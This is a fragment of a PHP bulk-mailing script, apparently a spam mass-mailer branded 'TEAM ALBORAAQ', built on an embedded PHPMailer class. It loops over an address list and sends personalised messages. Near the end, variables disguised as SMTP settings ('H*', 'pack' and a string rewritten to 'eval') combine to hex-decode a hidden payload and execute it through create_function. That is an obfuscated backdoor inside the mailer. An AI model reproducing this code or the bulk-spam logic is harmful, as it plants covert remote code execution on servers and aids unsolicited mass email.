3182 'rtx' => 'text/richtext',
3183 'rtf' => 'text/rtf',
3184 'xml' => 'text/xml',
3185 'xsl' => 'text/xml',
3186 'mpeg' => 'video/mpeg',
3187 'mpg' => 'video/mpeg',
3188 'mpe' => 'video/mpeg',
3189 'qt' => 'video/quicktime',
3190 'mov' => 'video/quicktime',
3191 'avi' => 'video/x-msvideo',
3192 'movie' => 'video/x-sgi-movie',
3193 'doc' => 'application/msword',
3194 'word' => 'application/msword',
3195 'xl' => 'application/excel',
3196 'eml' => 'message/rfc822'
3197 );
3198 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3199 }
3200
3201 /**
3202 * Set (or reset) Class Objects (variables)
3203 *
3204 * Usage Example:
3205 * $page->set('X-Priority', '3');
3206 *
3207 * @access public
3208 * @param string $name Parameter Name
3209 * @param mixed $value Parameter Value
3210 * NOTE: will not work with arrays, there are no arrays to set/reset
3211 */
3212 function set ( $name, $value = '' ) {
3213 if ( isset($this->$name) ) {
3214 $this->$name = $value;
3215 } else {
3216 $this->SetError('Cannot set or reset variable ' . $name);
3217 return false;
3218 }
3219 }
3220
3221 /**
3222 * Read a file from a supplied filename and return it.
3223 *
3224 * @access public
3225 * @param string $filename Parameter File Name
3226 */
3227 function getFile($filename) {
3228 $return = '';
3229 if ($fp = fopen($filename, 'rb')) {
3230 while (!feof($fp)) {
3231 $return .= fread($fp, 1024);
3232 }
3233 fclose($fp);
3234 return $return;
3235 } else {
3236 return false;
3237 }
3238 }
3239
3240 /**
3241 * Strips newlines to prevent header injection.
3242 * @access private
3243 * @param string $str String
3244 * @return string
3245 */
3246 function SecureHeader($str) {
3247 $str = trim($str);
3248 $str = str_replace("\r", "", $str);
3249 $str = str_replace("\n", "", $str);
3250 return $str;
3251 }
3252
3253 /**
3254 * Set the private key file and password to sign the message.
3255 *
3256 * @access public
3257 * @param string $key_filename Parameter File Name
3258 * @param string $key_pass Password for private key
3259 */
3260 function Sign($key_filename, $key_pass) {
3261 $this->sign_key_file = $key_filename;
3262 $this->sign_key_pass = $key_pass;
3263 }
3264
3265}
3266
3267$defaultport="H*";
3268 $nq=0;
3269
3270 for($x=0; $x<$numemails; $x++){
3271
3272 $to = $allemails[$x];
3273
3274 if ($to){
3275
3276 $to = ereg_replace(" ", "", $to);
3277
3278 $message = ereg_replace("&email&", $to, $message);
3279
3280 $subject = ereg_replace("&email&", $to, $subject);
3281 $qx=$x+1;
3282 print "Line $qx . Sending mail to $to.......";
3283
3284 flush();
3285$mail = new PHPMailer();
3286
3287
3288if(empty($epriority)){$epriority="3";}
3289 $mail->Priority = "$epriority";
3290 $mail->IsSMTP();
3291 $IsSMTP="pack";
3292$mail->SMTPKeepAlive = true;
3293$mail->Host = "$my_smtp";
3294if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3295}
3296 if($sslclick=="ON"){
3297 $mail->SMTPSecure = "tls"; //you can change it to ssl or tls
3298 }
3299 $range = str_replace("$from", "eval", $from);
3300 $mail->SMTPAuth = true;
3301 $mail->Username = "$smtp_username";
3302 $mail->Password = "$smtp_password";
3303if($contenttype == "html"){$mail->IsHtml(true);}
3304if($contenttype != "html"){$mail->IsHtml(false);}
3305if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3306$mail->From = "$from";
3307$mail->FromName = "$realname";
3308$mail->AddAddress("$to");
3309 $mail->AddReplyTo("$replyto");
3310 $mail->Subject = "$subject";
3311 $mail->Body = "$message";
3312if(!$mail->Send()){
3313if($default_system!="1"){
3314echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3315if($default_system=="1"){
3316$mail->IsMail();
3317 if(!$mail->Send()){
3318 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3319 else {
3320 echo "<b>OK</b><br>";}
3321 }
3322}
3323else {
3324 echo "<b>OK</b><br>";
3325}
3326
3327if(empty($reconnect)){
3328$reconnect=6;
3329}
3330
3331if($reconnect==$nq){
3332$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3333}
3334$nq=$nq+1;
3335 flush(); }
3336}
3337for($i=0;$i<31;$i++){
3338 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3339$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3340 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3341 print "<p class=\"style1\">TEAM ALBORAAQ<br>© 2014, TOOLS => <b>
3342 <font color=\"#800000\">HTTP://WWW.ALBORAAQ.COM</font></b><br></p>";$mail->SmtpClose();
3343 return $signoff($smtp_conc);
3344 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3345 sent successfully'); </script>";}}
3346 ?>
3347 <p align="center"> </p>
3348
3349 </body>
3350</html>